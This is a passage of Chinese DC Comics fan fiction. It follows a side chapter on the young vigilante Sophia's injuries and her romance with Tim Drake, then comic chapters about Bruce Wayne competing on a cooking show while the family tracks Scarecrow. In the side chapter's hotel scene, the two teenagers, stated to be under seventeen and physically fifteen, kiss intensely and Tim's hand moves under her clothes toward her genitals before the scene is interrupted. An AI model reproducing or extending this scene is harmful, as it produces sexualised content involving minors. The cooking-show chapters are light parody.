索菲亚被迫早早经历了其中的一部分，至少在精神层面猎魔人认为自己和成年人没有区别，但是在身体层面琥珀金带来的异常迫使这具身体长期保持在十五岁的状态, 但要是根据体内激素进行判断, 索菲亚和那些没来得及迎接月经的小学生没有区别。 不过这倒不算什么，至少索菲亚和那些女孩子相处时每到不至于让人痛彻心扉但也足够烦躁的生理期时，总是那个能够置身事外但及时伸出援手的人。 斯蒂芬妮的生理期一向正常，甚至规律到可怕, 每到月中索菲亚就得掐着日期查看家里的卫生用品, 防止好舍友再度出现血溅三尺不得不半夜爬起来洗床单的痛苦日常。 卡珊德拉因为身体原因月经推迟了很多, 但某个时刻当索菲亚闻到少女身上若有若无的血腥味时，就意识到会来月经的女孩子多了一个，并且因为激素的影响, 两个女孩的生理期的日期逐渐接近到几乎重合的地步, 因而索菲亚自发承担起给两个好朋友搞热饮的任务。 索菲亚能感受到那几天内蝙蝠洞内整体情绪的低潮, 别的不说那个用于发泄情绪的文档在那个特殊的时期更新的频率总是格外频繁，就算是猫头鹰也得小心翼翼地夹着尾巴做人。 而一切的变化追根溯源应该是从索菲亚和阿尔伯特打的死去活来勉强捡了条命回家开始, 从某天起索菲亚发现伤口愈合的速度降低了很多, 同样的一道刀伤提姆在缝合后两周就能不影响行动, 而索菲亚平日两天就能自动愈合地伤口如今过了两周依旧是鲜血淋漓地模样, 愈合速度甚至比不上作为普通人的小男友。 但这种情况真的要说也确实没有解决的办法，哥谭地下的被污染的拉撒路池肯定不能使用, 而更为纯净的属于拉尔斯的那些池水, 索菲亚现在开始做梦或许能混到一点。 好在这不算什么大问题, 至少索菲亚学会了开始有意避免那些容易受伤的情况，及时进行闪避和防御而不是硬接下伤害后再进行反击，即便如此当红罗宾帮索菲亚受伤的大腿缝合伤口的时候还是没忍住叹气。 “你得保护好自己。” “来不及了。”索菲亚低着头盯着脚下地板的花纹不敢去看提姆的眼睛“那样最快。” “看着我——”红罗宾那双因为带着战术手套有些粗糙的手托着少女的下巴迫使索菲亚抬起了头，可索菲亚眼神依旧飘忽拒绝和少年对视“我说——看着我！” 索菲亚的眼神不情不愿地移了回来，看到那双生气指数极高的蓝眼睛时回避了一刻，随后被那只手捏住了脸颊。 “知道我会生气还这么做？” “是意外。” 那双金色的猫一样眼睛的主人发现无法逃避后干脆以一股视死如归的态度盯了回来，提姆没从中看到一丝愧疚，只有下次还敢的嚣张气焰。 提姆几乎被索菲亚软硬不吃的态度气到笑出声来，捏着手下脸颊肉的力度不自觉大了几分，随后松开了手，在有些发红的指印上戳了两下。 “我们得谈谈，索菲亚布兰登小姐。” 红罗宾收回了手正襟危坐将社交距离拉远至对待工作的态度，眼神里那些温情顷刻间被全部收起，只留下公事公办的严肃。 “过去两个月的夜巡和狩猎工作中，你受到八次刀伤，五次枪伤，两次中毒，这其中百分之八十受伤的情况都是因为懒得闪避所导致的，还有至少不下十次为了抄近路而导致的轻微骨折，而在整个蝙蝠洞的受伤排行里除了蝙蝠侠和夜翼两位独立义警以外，你目前在最容易受伤排行榜上位列第一。” “那你呢？” “别岔开话题布兰登小姐。” 那双有些冰冷的眼神扫了过来，索菲亚只觉得汗毛直竖下意识挺直了脊背。 “我会注意的，真的，我发誓。”索菲亚双手抓住提姆的手晃了晃，眉毛随着眼睛一起下垂显得格外可怜。 僵持了片刻提姆还是没能忍住叹了口气，结束了紧绷的状态。 “两周。”少年没有把手抽出而是顺着索菲亚的话提出了条件“至少两周内不要因为不在乎的态度受伤，我没有年纪轻轻就丧偶的爱好。” 索菲亚对着少年尴尬的笑了笑，终于从爱人脸上看到了自己想要的标志着算账模式结束的笑意。 在那之后的两周，索菲亚不能再谨慎了，遇到任何难对付的家伙第一件事都是先缴械，不管是持枪持刀还是身体自带凶器的罪犯都会第一时间失去他们的武器，第二步自然是打到失去意识为止。 反而在这期间提姆在庄园里和达米安打斗从楼梯上摔了下来，虽说及时稳住了身体但用于支撑的手腕却非常不妙的发出了足够清脆的错位的响声。 刚刚嘱咐过女朋友不要受伤自己转头就手腕错位的提姆尴尬的抬起头，而索菲亚一边帮男朋友复位一边笑的直不起腰来。 两周的期限越来越近，几乎满血的索菲亚格外得意，鼻子几乎要翘到天上去，就连偶尔报告被蝙蝠侠打了回来也没气到连夜更新人外，触手，强制标签的文学作品，甚至还能把阿福委托带来的饼干完整的带进蝙蝠洞内。 而提姆也给出了愿意遵守约定的好姑娘索菲亚提前计划好的惊喜，一场从周五晚上一直到周日晚上的周末约会，什么韦恩集团德雷克企业都见鬼去。 布鲁斯活得生龙活虎，杰克正是年轻力壮的年纪，就该让这些靠谱的大人来肩负起提振整个哥谭经济的重任，而不是提摩西德雷克一个还没十七岁日常睡眠时间不超过五小时的未成年高中生。 处理好手上积压的那些来自于韦恩，德雷克，少年泰坦以及少年正义联盟的所有工作，提姆把属于红罗宾的身份全都抛掷脑后，牵着放学后还没卸下书包就在少总的办公室等着男朋友下班的索菲亚冲上那辆提前停在专属车位上的车一脚油门离开了所有的烦恼。 提姆的计划不算复杂，包场看电影，逛漫展，然后去计划单上索菲亚一定会感兴趣的几家饭店，行程不需要多拥挤，比起去做互联网上盛传的情侣一定要做的特殊的事，少年还是更珍惜能和爱人在一起相处的每分每秒，即使索菲亚只是靠在他身边玩手机，提姆也会觉得身体内的能量在缓慢的恢复，就像是给电子设备充电一样。 只是提姆唯一有些担心的是，从放学之后索菲亚便显得没什么活力，对什么事都一副兴致缺缺的表情，即使现在少女坐在副驾驶上低着头刷手机也没和平时一样和少年叽叽喳喳的说些乱七八糟的话。 或许是饿了？ 提姆这么想到，干脆将原先安排的逛街的活动取消，在吃饭之后直接回酒店休息，好在面对美食，索菲亚显得愉悦了很多。 刻意被布置的烛光轻轻摇曳，提姆还在吃自己眼前的凯撒沙拉，注意力却全都放在少女的身上，索菲亚正在喝送来的餐前酒，少年提前要求将酒精换成了更香甜一点的葡萄汁，因而捧着果汁连喝两杯的少女没有一丝不适。 嘴里带着浓郁凯撒酱香气的罗马生菜格外清脆，索菲亚看到还在吃草的提姆拿起叉子顺手插走一口生菜放在嘴里咀嚼，将自己眼前的香煎三文鱼推了过去。 餐后甜点是一份香草味的冰淇淋，索菲亚拿起勺子吃了一大半却罕见地没有吃干净，而是剩下了一些。 饭后提姆没过多停留就带着索菲亚回了酒店，两人身上还穿着上学时的装扮，没有半点社会精英的架子，和金碧辉煌的酒店显得格格不入，但不管是提姆和索菲亚所表现出来的熟门熟路的样子倒和酒店离奇的对上了 索菲亚看着电梯映射出的过于年轻的影子，忍不住笑了出来，这种在假装成功大人的体验实在有些难得，尤其是负责接待的工作人员喊自己布兰登小姐，喊提姆德雷克先生的时候，少女的笑意几乎要从嘴角钻出来。 提姆本该对于这样的场景司空见惯，可看着索菲亚的笑容，一向自持冷静的少年也憋不住笑意，跟着一起毫无面子的笑了起来。 索菲亚的脸颊因为大笑被染上了一片绯红，一直忘记修剪已经能够达到长发标准的黑发如同帘子一般将提姆熟悉的那张足够柔软的脸半掩着，但少年优越的记忆力自动在脑内补全了被遮挡的部分，从耳根开始提姆也觉得自己烧了起来，或许现在自己的脸也红了起来。 气温逐渐上升，随着笑声的结束，索菲亚扑进了提姆的怀抱。 索菲亚的体重一向处于足够健康的合格水平，那些为猫头鹰每次战斗打下了基础的肌肉自带足够的重量，此刻就隐藏在宽大的深红色卫衣下，但好在提姆也不是缺乏锻炼的瘦弱男高，轻松就承担了来自索菲亚的重量，几步便挪进了那间早就定好的房间里。 在进门的那一刻，便是足够热烈的吻，属于香草冰淇淋的味道再次在口腔中流淌，这次两人都长了记性记得收起牙齿防止在嘴唇上再磕碰出口子来。 虽说带着血腥味的吻在激情到来时总是带来了过量的刺激，但事后随时可能会口腔溃疡的代价还是有些过大了。 除了香草味，隐藏的更加深入的葡萄味顺着舌尖传递到味蕾，索菲亚想要暂时分开喘口气很快就被提姆按着后脑延续了这个吻，而另一只手也没有闲下来而是顺着少女的手臂环上了索菲亚的肩膀。 那种窒息一般的体验足够刺激，氧气在交战中被掠夺，索菲亚微微睁开双眼，随后被提姆刻意带的混乱的呼吸缓缓恢复了平静，抓到了主动权的少女身体微微向后倾拉开了两人之间的距离。 被抓住了马脚的提姆没有半点心虚，顺着宽大的卫衣便摸上了因为索菲亚放松而格外柔软的小腹，少女的呼吸停滞了半刻很快便恢复了平静，但猫头鹰没有追究红罗宾的得寸进尺而是默许了少年的动作。 第二次的吻便带着缠绵，提姆一改攻势，将每个动作都刻意放缓如同电影里的慢动作画面一般，用舌尖舔过少女因为亲吻变得红润的下唇，随后细密的吻顺着下巴到了颈侧，随后在锁骨处少年的牙尖微微用力留下足够暧昧的痕迹。 而少年的手顺着小腹向下滑动，索菲亚能感受到下腹奇异的感觉，那种热流涌下同时带着微涨的感觉有些陌生，与此同时猫头鹰过于敏锐的第六感此刻正在反常的响个不停。 而提姆意外的感受到了足够潮湿甚至带些黏糊的手感，少年将手掏了出来，映入二人眼帘的只有足够显眼的血迹。 提姆愣住了片刻，用纸巾擦了手上的血迹后立马在房间里找起了卫生用品，而索菲亚大叫一声带着换洗的内衣冲进了浴室，只希望在血迹干涸前能及时处理掉。 那些暧昧的情愫全都被打破，好在索菲亚迟到的月经量不算太大，两人才不至于要找酒店工作人员换床单，当索菲亚用冷水将那些血迹都处理好从浴室出来时，提姆及时递上了一杯冒着热气的可可。 “想开一点，至少我长大了。”索菲亚嘴上这么说但还是忍不住叹气“一想到之后蝙蝠洞里会同时有四个女生来月经我就觉得生活没了希望。” 厚实的卫生棉质感算不上舒服，需要排除经血轻微宫缩的感受同样算不上舒服，并且因为这场意外本来能够发生的一些行为也只能搁置，索菲亚干脆蔫蔫的躺在床上和提姆一起用手机看《怪奇物语》。 只可惜还没看完第一集索菲亚就眼皮打架失去了意识，只是在沉入梦乡前放在小腹上足够温暖的手让这场血光之灾都显得不那么讨厌了。 而发誓这个周末再碰工作就是狗的红罗宾还是没忍住承担了远程后援的工作，直到天色逐渐变亮才堪堪闭上了眼。 等到两人再次睁眼又是一片漆黑，期间索菲亚挣扎着爬起来换了卫生棉，又吃了定好的饭，把同样睡到不省人事的男小红鸟薅起来吃饭后，索菲亚躺在被子里再次昏睡过去。 发誓只躺一会就继续工作的提姆最终没能逃脱睡眠的诱惑，跟着睡了过去。 等到两人真的清醒过来，这个假期已经要结束了。 —————— 番外二结束 第118章 传奇名厨布韦恩（上） 这个扯淡故事开始的时候, 索菲亚还一无所知。 远在美国弗吉尼亚州的仙纳度国家公园翻山越岭追杀温迪戈的索菲亚那时正蹲在地上用从山上流淌下的清泉洗去手上腥臭的完全腐坏变质的血液，这群食人的怪物把这个国家公园当成了必胜客自助活动从上到下吃了个爽，以至于索菲亚提剑冲上去的时候这群身形怪异的家伙没有一丝警惕。 温迪戈不算难对付的猎物, 和大多数食人怪物一样，这同样是一种起源于人类的怪物。不过与大名鼎鼎的由尸体复活而来渴望血肉的活死人不同，温迪戈则是一群被极端饥饿或者贪婪吞噬的人类。 他们的身体变得坚硬枯瘦却力大无穷, 皮肤变得苍白, 深陷的眼窝里只有对于食物的渴望，巨大的嘴搭配能轻松将骸骨当作饼干咬碎的尖牙，足够撕开任何一个人类的身体。 仙纳度的温迪戈要稍微难对付些，这群不知道在这里居住了多久的原住民尚存着作为人类的智慧, 选择以族群的模式抱团取暖, 因而即使是有一定自保能力的人类落入到温迪戈群的手里大多数只能落下个有来无回的下场。 因而当手机铃声响起时, 索菲亚向难得幸存下来的守林员要来了电锯，手动将这群怪物尸体上的鹿角锯下来当作之后魔药的材料储备。 这位身高一米八的壮汉被温迪戈当狗一样追了两个山头，至今还没来得及换下被尿液打湿的裤子, 因为突然响起的铃声被吓得几乎跳起来。 “索菲索菲, 快快快拿出手机, 超劲爆家庭娱乐节目要开播了！” 索菲亚用肩膀夹着电话努力不让自己伤痕累累的手机彻底毕业，一边停下了电锯。 “是提姆要去闯关节目抢冰箱还是杰森上亲子节目带孩子？总不能是迪克去恋综所有嘉宾为了争夺他的芳心大打出手吧。” “接下来我要说的事, 你千万不要害怕。” “我以前是个杀手, 现在是个猎魔人, 我不会怕。” “布鲁斯上美食节目了——” 索菲亚愣了片刻下意识抬起头来吐槽, 但余光看到即将掉在地上让本就不富裕的家庭雪上加霜的手机，还是努力保持着这个艰难的姿势继续通话。 “他是去做评委了吗？布鲁斯平时确实挑嘴, 去做评委也是应该的。” “……是选手……总之节目马上要播出了你快去看。” 索菲亚默默的开始收拾被锯下来的鹿角, 把几个被吓醒的守林员全都叫醒后, 将用绳索捆好的鹿角固定在机车后座，拧着油门就紧赶慢赶回到了镇子上唯一的旅馆里钻进了住了几天的房间并掏出了手机。 —————————— 《地*厨房》是一档知名美食节目，就算索菲亚天天过着在原始森林拎刀追杀怪物的野人生活也对于其中的“这牛肉生到可以把你盘子里的沙拉吃掉”的名场面印象颇深，如果布鲁斯真的是外界公认的草包形象恐怕能够被气到当场拂袖而去。 只可惜韦恩庄园里同样深藏着一位不比这位主厨友好几分的原中东小皇帝，现哥谭所有反派未来的爹——达米安。 索菲亚有幸听过被缴械的达米安只用三言两语就让提姆扛着笔记本翻窗离开，再晚几秒邪恶红罗宾就会试图给达米安的牛奶里下药以实现把幼年罗宾鸟毒哑来实现家庭和谐的目的。 而恰巧回家顺生活用品以减少日常支出的红头罩默默的从口袋里拿出了几天前把小丑毒哑起码三个月的猛料，正在餐桌上埋头吃沙拉的迪克眼疾手快在一米三的小弟弟到来之前抢过了杰森手里的那包代表着诅咒和痛苦的药粉，及时阻止了这场家庭之间的纠纷。 唯一需要付出的代价是格雷森警官沙拉里的鸡胸肉不翼而飞，恰巧又夹着电脑从正门回来的提姆露出一个乖巧的微笑，如果忽略少年此时还在嚼嚼嚼的动作。 节目的第一环节，每个选手都需要制作一道自己的拿手好菜。 摄像头只是一扫而过所展示出的食材丰富程度，就能让任何一个观众看得出节目组下了血本，帝王蟹、波士顿龙虾、象牙鲍鱼…… 在场的选手水平同样参差不齐，有出身米其林三星餐厅的选手，对于这些食材完全司空见惯看不出一丝胆怯；也有为了烹饪梦想自学成才开了一家小餐馆的选手，视线略过了这些昂贵的食材而是选择了自己真正熟悉的那些同伴。 而哥谭甜心布鲁斯那双钢蓝色的蓝眼睛转了半天，刻意略过了那些在家里的餐桌上根本不会塞进嘴里的食材，最后选择了最熟悉的帝王蟹。 毕竟超人三天前刚刚送了从北极海域新鲜现捞个头大得惊人的帝王蟹当作礼物，那些生龙活虎的要用钳子攻击全世界的海洋生物轻而易举的成为了阿福的刀下亡魂，变成了非常美味的全蟹宴。 据说一起和帝王蟹战斗的乔纳森提出了抓走了这只帝王蟹，他的家人会不会担心的疑问。超人用那颗超级大脑思考良久，最后将帝王蟹的全家都捞了上来，以保证帝王蟹一家整整齐齐的出现在韦恩的餐桌上。 而在外出差的索菲亚看着斯蒂芬妮发来的照片，感动的泪水不争气的从嘴角流下，然后咬着牙吃乡下餐厅提供的因为火候问题可以去做皮带的牛排。 可恶，这就是牛的报复吗！ 韦恩挑好的食材其他选手自然不会再去染指，而意识到草包人设不应该精通处理活海鲜经验的蝙蝠侠，此时正拿着足够锋利美观的主厨刀和这只节肢动物大眼瞪小眼，也就在此时那只锋利的大钳子恰好夹走了那柄闪着银光餐刀。 注意到摄像头再次对准自己的布鲁斯心里有了想法，随即身体一抖退后几步，露出一副足够可怜的弱势模样，那双钢蓝色的眼睛还在震颤，却还要为了形象不得不装出游刃有余地模样替自己找补。 “看来宰杀生命这样残忍的事不太适合我，或许我还是应该为大家献上我的另一道拿手好菜。” 索菲亚不知道其他人看到这个画面有什么样的反应，但看到不久前几乎能徒手把食尸鬼脑袋扭断的蝙蝠侠在荧幕上装出一副可怜模样还能不笑出声的，是该去看看心理咨询师了。 不过布鲁斯平日确实对烹饪提不起太大的兴趣，至少在准备拿手好菜的时候，男人面带微笑将那些或唾手可得或价值连城的食材全都按照自己的理解加了进去，不管是那只足够宽大有力手掌拿着餐刀小心翼翼脱去西红柿外衣的动作，还是挽起的真丝衬衫下手臂用力时过分凸显的青筋都足够保证这期节目的收视率能够有爆炸式的增长。 只有索菲亚眼睁睁地看着布鲁斯把被餐刀摧残到坑坑洼洼的西红柿一整个丢进了放着泰国香米饭的顶级电饭锅里，随后又将大半瓶黑巧克力酱花生酱番茄酱倒了进去进行调味。 等到电饭锅到了预定的时间后这位阔佬满意的点了点头，挖空了三盒阿尔马斯鱼子酱作为装饰铺满了焖饭的每个边边角角，并拿出不知道哪里带来的轩尼诗干邑进行提香。 索菲亚仅仅是在大脑里想象这个过度离谱的味道就要昏厥过去，而布鲁斯则眨着那双足够诱人的眼睛将那道恰到好处的“美食”进行装盘，并满意的交上了属于那份自己独一无二且价值不菲的答卷。 伴随着一声声由“raw”产生却不断进行变形的句式越来越近，布鲁斯脸上那过分自信的笑容显得格外刺眼，也就在此时那位怒气腾腾的英国明星主厨走了过来，还没拿起勺子尝上一口就对眼前这位亿万富翁发出了疑问。 “你做的什么？是**的屎吗？” 布鲁斯这时才直起身子对自己的作品进行了介绍。 “我从西班牙的海鲜焖饭中得到了灵感，只不过那些过分名贵的帝王蟹龙虾太无趣了只不过是海洋的标签，我想来自北欧的鱼子酱更能够迂回的展现海洋深处孤独寂寞的气息。 “但人的孤独从来不仅仅是苦涩，而是五味杂陈的混合，所以在调味方面我选择了最代表苦涩的黑巧克力酱。孤独之后的对于人性的深思又是如此复杂醇厚，因而我在巧克力酱的基础上加上了花生酱和番茄酱来表现这份让无数哲人折腰的复杂。” “最后便是我真正想表达的东西，只有体验过前面的苦涩滋味，才能真正看到人的本质，那就是被剥去了外衣并不完美但无比真实的番茄。” “而这一切混合在一起想必就是人生吧。” 主厨将信将疑的拿起勺子舀起一口细细品鉴后再度扔下只有寥寥属于简单但过分精准的评价。 “简直是**的狗屎。” 索菲亚几乎不用接着看就能看到蝙蝠侠一轮游惨遭淘汰的结果，正要低下头吃自己那份已经坨掉的意面时，节目发生了反转，在布鲁斯之后的几位选手甚至没能端上一份完整的菜品。 和这些卧龙凤雏对比之下只是把饭的方向走的奇怪了些的布鲁斯甚至算得上一位合格的厨师，而唯一的淘汰名额也被其中一位将全部时间都花在和帝王蟹搏斗的厨艺爱好者包揽。 只留下厨艺小白布鲁斯韦恩先生失去了一向自信的微笑，迷茫的端着那盘“海洋，孤独和人生”进入了前往主厨名下餐厅通过团队合作烹饪菜品的第二环节。 第119章 传奇名厨布韦恩（中） 索菲亚震惊之余还不忘记去看那家餐厅的预定情况, 那个网站从没想过有机会涌入这么大量的人群几乎几分钟就完全瘫痪，而在ebay这种二手平台上想要从二道贩子里拿到当天的预定资格，只是入场的门票就几乎翻了好几倍。 顶着作为情人节礼物的红罗宾马克杯作为头像的提姆默契的发来了预定成功的截图, 不用见面索菲亚就能想象出小红鸟鼻子朝天得意洋洋的表情，手里来自于慷慨温迪戈馈赠的鹿角被长刀一点点削成罗宾鸟的形状，而这枚简单的护身符足以作为这次短途旅行的小礼物。 按照计划索菲亚原本打算慢慢悠悠的晃回去, 但布鲁斯第二期节目录制的时间就在第二天的晚上, 因而猎魔人打算现在就出发骑车滚回哥谭，顺利的话兴许还能赶上今晚的夜巡。 而看着手机里的群聊记录，几乎所有人都做好了去看完大家长布鲁斯笑话后再吃一顿的打算，除了实在不能再翘班失去工资的可怜小警员迪克在群里发出一排带着眼泪的黄豆表情。 虽说节目上布鲁斯刻意表现出的炸裂厨艺有些过于夸张, 但把吃饱的希望真的放在蝙蝠侠身上不如祈祷小丑某天意识到自己对于世界的危害自觉枪毙自己五分钟, 至少斯蒂芬妮已经做好了去不远处的韩式烤肉店吃个爽的准备, 此时正在群里找当天第二轮聚餐的饭友。 风尘仆仆回到哥谭的索菲亚第一面就见到了在餐厅里抱着电脑赶ddl的斯蒂芬妮和提姆，索菲亚站在提姆身后看了又看，又跑到斯蒂芬妮身后对着屏幕看了半天, 这才意识到自己也选修了这门课, 看着不到六个小时截止的作业痛苦的端出了自己几乎落灰的笔记本。 过了一会达米安也带着作业趴上了餐桌, 并把那些全都处理成标本的昆虫往自己的观察笔记上贴，平日里带着硝烟味的争吵在ddl面前全都被迫停战, 只剩下痛苦赶due的未成年学生在这片不见血的战场上与名为后现代艺术、昆虫的特征和结构、以蝙蝠侠为例简述都市传说的传播的敌人进行战斗。 即使是在夜巡时, 即使铲上了ddl的索菲亚的脑子里依旧围绕着那个可以购买打碎的盘子的抽象艺术品, 贫穷的猫头鹰迷茫的看着资料, 手指真诚地在文档里打出好几排问号。 等到了夜巡的时间布鲁斯准时回到了蝙蝠洞，因为所在的小组在第一环节没有得到完全的胜利, 布鲁斯自然也没获得足够奢华的饮食享受, 因而此时正在一边吃阿福做好的大份三明治一边翻看资料。 三天前红头罩正式向企鹅人发起攻击并成功抢占了冰山俱乐部作为红头罩帮的新活动场地, 也正因如此哥谭的地下帮*派势力分布同样受到了不小的变化，黑面具同样对着被咬下一口肥肉的企鹅人虎视眈眈，却没想被双面人偷了家，一场火并后七个成员受伤，死亡两人，其中包括一位急着回家的无辜路人。 但这场纷争并没有结束，至少从监听来的内容来看，在昨天的冲突后黑面具和企鹅人暂时达成了合作决定优先将作为愣头青的红头罩率先踢出战局，那么今晚在冰山俱乐部大概率会迎来一场大战。 这只是今晚的待办事项之一，另一件迫在眉睫的麻烦和稻草人有关。 这位同时在心理学和化学层面颇有建树的教授龙场悟道后毅然决定下海，成为阿卡姆蝙蝠侠后援会的核心成员，致力于用自己不断进行更新的恐惧毒气给所有哥谭人带来永生难忘的糟糕体验。 稻草人虽然比不上小丑麻烦，但造成的危害性却不容小觑，那些看不见摸不着的毒气足够轻松送每个哥谭人去见上帝，如果不是稻草人过度执着于要让体验者亲身经历被人生中最恐惧的东西所折磨的精神痛苦，一定程度上削弱了恐惧毒气所造成的直接杀伤力，他身上背负的人命数字恐怕还能翻倍。 于是在这个哥谭各大□□即将发动巨大冲突的紧张时机，稻草人失踪这一信息的重磅程度不亚于红头罩误入男同酒吧后大彻大悟回家毅然决然向蝙蝠侠宣布出柜并表示爱人是超级赛亚人，毕竟谁也不想在聚众斗殴的时候发现敌人全都变成了等人高的蟑螂或是老鼠。 索菲亚和提姆一起接手了调查稻草人行踪的工作，只可惜一路从阿卡姆追查到红头罩所在的冰山俱乐部也没找到哪怕一根稻草人的消息，恰逢黑面具手下的马仔率先搞起了内讧，两个路过的义警不辞辛劳地将这些热衷于火并的家伙全都绑了起来，最大程度减少了伤亡。 但看到一切的源头知名反派红头罩懒洋洋的拿着加了双倍辣酱的墨西哥卷饼出现在眼前时，就算是脾气再好的红罗宾也忍不住从袋子里掏走几个作为义务劳动的酬劳随即离开了还弥漫着硝烟气息的战场，不过五分钟频道里还没宣布和蝙蝠侠和好的红头罩再次和蝙蝠侠打了起来，只有被蝙蝠侠倒吊在滴水兽下的黑面具平静的骂出了今晚的最后一句脏话：“Fuck Redhood！” 夜色渐深处理完大多数事务的小鸟大多各回各家，红罗宾回到蝙蝠洞换下了身上的制服却没上楼，而是继续坐在蝙蝠电脑前寻找稻草人的踪迹，蝙蝠侠将面具摘了下来露出凌乱如艺术家般的不羁发型，眼神里难带着些许疲惫。 男人向自己的学生走了过来，俯身去看屏幕上那些足够繁杂的信息，右手顺便搭在了少年穿着红色卫衣的肩膀上。 “需要提前退出节目吗？我提前拟好了有关于韦恩先生因为工作安排冲突不得不提前离开节目的公告。” 布鲁斯没有直接回答，而是提出了另一个问题。 “你认为我的表现如何？” “很具有戏剧性，符合公众对于一个花花公子的所有幻想，傲慢、无知、自大，恐怕未来三周内网络上都会流传和你有关的节目切片内容了。” 在熟悉的领地提姆的状态倒没那么紧绷，甚至还能对着在节目上刻意做出抓马效果的导师调侃两句。 “所以厨房竟然没有烧起来？” “上次是意外。”那双钢蓝色的眼睛移开了视线，但很快就被屏幕上得出的有关稻草人踪迹的消息重新吸引了注意力，如果蝙蝠电脑没出问题，那么稻草人目前的最有可能出现的场所就在晚上即将开放给普通食客的餐馆附近。 “看来那份公告现在不需要发给公关部了。”带着英伦特有的腔调出现在提姆身后“现在距离节目开始录制还有五个小时，我想美食节目无论如何也不应该出现一只顶着黑眼圈的翼手类哺乳动物。” 不需要提醒的提姆同样站了起来自觉地打算回到房间休息。 今天并不是周末，等到了天色完全变亮，提姆就得背上书包扛着自己的电脑乖乖的去上学，顺便还要绕路去索菲亚家里防止猫头鹰完全被昼伏夜出的生物钟所影响一觉睡到放学。 索菲亚虽然完整的带着作业到了学校，但显然没把灵魂也带来，属于猫头鹰不羁的灵魂仍旧在公寓的被子里沉睡，直到午饭时间少女才打着哈欠勉强保持了清醒，不久之后在下午的课上继续睡了下去。 但等到约定的时间越来越近，猫头鹰终于打败了睡魔保持了清醒的状态，神采奕奕的跟在同样打算早退的提姆身后拉住了少年的背包，拉开侧兜的拉链摸出来几个能量棒撕开包装放进了嘴里。 “晚上要和斯蒂芬妮去吃烤肉吗？我可以帮你抢肉。”索菲亚在嘴里嚼着口味几乎没太大差距的能量棒快步走到了提姆身边“不过大红不过去，他还在和B置气。” “为什么不呢？”提姆熟练的牵上索菲亚那只空着的手，手指在少女的掌心点了点“要先吃点东西垫肚子吗？” —————————— 作为韦恩集团唯一的继承人，布鲁斯曾经被迫面临了许多困境，无论是面临对着失去父母的保护伞的豪门遗骨虎视眈眈的公司董事，还是夜巡时见到的穷凶极恶的罪犯，哪怕是想要把自己强制性留下来的刺客联盟首脑拉尔斯，这个年轻人都没有展现出哪怕一丝胆怯。 但无论如何，这份勇气都不应该用在如今的场景，思考如何切割队友将需要提前放进冷藏却意外塞进冷冻层此时冻得比氪星人的钢铁之躯还硬的三文鱼。 今晚的两份菜单中或多或少中三文鱼都是不可或缺的食材，而如今距离餐厅正式营业还有不到两个小时，按照正常速度处理，恐怕餐厅里的客人要饿死了也看不到这条肥美的三文鱼跳进盘子里。 布鲁斯尝试用刀具切割这块三文鱼，努力了半天却还是徒劳，只能和队友一起对着这块鱼肉进行思考。 眼前的危机还没处理完，布鲁斯就被踢出了处理肉类的工作小组，转而被分到了准备前菜的部分。这些前菜大多是些不容易出错的开胃沙拉，基本不需要哪怕任何一点复杂的操作，就算布鲁斯再怎么五谷不分四体不勤也不至于处理不好这些简单的食材。 可意外还是出现了，在布鲁斯潜心切割蔬菜为沙拉进行准备时，耳边突然传来一声惊呼，随即是熟悉的吼声：“你们是要拿这些橡胶球开球吗？睁大你们的眼睛，这就是橡胶！” 布鲁斯能够想象出过了火候的扇贝肉的口感，但也不至于和橡胶相提并论，只不过在重新回到笨拙的连菜都切不明白的少爷形态之前，布鲁斯注意到了那个鬼鬼祟祟的身影。 看服饰应该是节目组的工作人员，只不过布鲁斯回忆起节目组有关所有人员的资料都没记起这家伙的脸，在所有人都在后厨和前厅忙的脚不着地的时候，这家伙正往完全相反的逃生通道离开。 精通建筑学的蝙蝠侠很快意识到对方的目标，这座餐厅的逃生通道连接着总控室，而通风管道同样汇集在总控室附近，是投毒的第一选择，即使对方没有被稻草人收买在这座餐厅投放恐惧毒气，但其它类型可以在空气中扩散的药物的危害性同样不容小觑。 熟练使用尿遁技能的布鲁斯收敛起镜头前刻意表现出来愚蠢而又美丽的姿态，保持一个不远不近的距离缀在男人的身后，在对方即将进入总控室的那刻用坚实有力的胳膊勒住了男人的脖子，直到对方彻底放弃挣扎头一歪翻着白眼昏了过去。 将对方口袋里那瓶危险物品收缴，男人向屏幕上的监控画面投去视线，果然如预料般看到了全部正常显示的画面，只是细看才能发现监控室的画面中完全没出现过布鲁斯那张足够昂贵精致的脸蛋。 预定的晚餐时间越来越近，来自四面八方的客人陆续进入了餐厅，一场大战一触即发。 第120章 传奇名厨布韦恩（下） 将被打晕的喽啰交给已经来餐厅踩点的红罗宾后, 布鲁斯装作无事发生的模样继续回到了后厨，而此处同样是一片混乱。 透过将后厨和用餐区域隔断的玻璃，映入眼帘便是陆续上座的客人, 斯蒂芬妮卡珊德拉正凑近了脑袋聊天，提姆刚刚外出去处理试图偷毒的喽啰还没回到座位上，只有索菲亚还穿着运动衣一个人刷着手机时不时向后厨的方向撇上一眼。 芭芭拉没和女孩们坐在一起, 对面还空着个位子, 果然过了没多久布鲁斯就看到急匆匆赶来还没来得及脱下警员制服的迪克一边道歉一边抱着一大捧玫瑰递给了对面红发的女孩。 那个像是刺猬一样总是充满活力的达米安难得安静的坐在座位上，阿福注意到后厨传来的视线对着布鲁斯露出一个满是鼓励的笑容，就像是无数次将自己看着长大的孩子送去学校时露出的那个笑容一样。 只是接下来入场的几位顾客的面孔就熟悉的有些过分了，把自己套进宽大西装里的小记者察觉到朋友算不上友好的视线没忍住打了个颤, 随后才在露易丝的提醒下僵着脸上的笑向联盟的顾问打招呼, 一旁和父亲有着相同的天空一样透彻的蓝眼睛的小乔正在好奇的看向在场唯一的同龄人达米安。 更不用说和扎塔娜凑了一桌的戴安娜, 和巴里一桌正趴在桌子上笑的哈尔。 但这些都不算问题，蝙蝠侠什么都做得到。 就在此时负责烹饪主菜火焰牛排的选手出了岔子在切菜时险些切掉自己的一节食指，其他厨师大多数还在处理手上的食材和主厨的怒火而自顾不暇, 布鲁斯的眼神一扫而过发现只是单纯的意外事件便继续和手里的沙拉战斗。 将处理好的食材交给和自己一样被发配来制作前菜的选手手里, 布鲁斯手上的活暂时告一段落可以勉强进行休息。 和布鲁斯组队的这位选手有一家自己的小餐馆, 同时担任厨师和服务员的工作，只不过这位年轻人还秉持着较为传统保守的经营模式, 但对比其他在互联网平台大放异彩的餐厅便略显逊色, 于是这位厨师选择参加这档节目为自己的餐馆获得更多的关注。 这样的厨师在节目里不算少数, 但根据提姆得到的消息, 这次的选手并不全是专业厨师，除了最为明显的布鲁斯以外, 还有两位选手是节目组为了节目效果刻意放进来的素人。 只可惜这档节目没有推理环节, 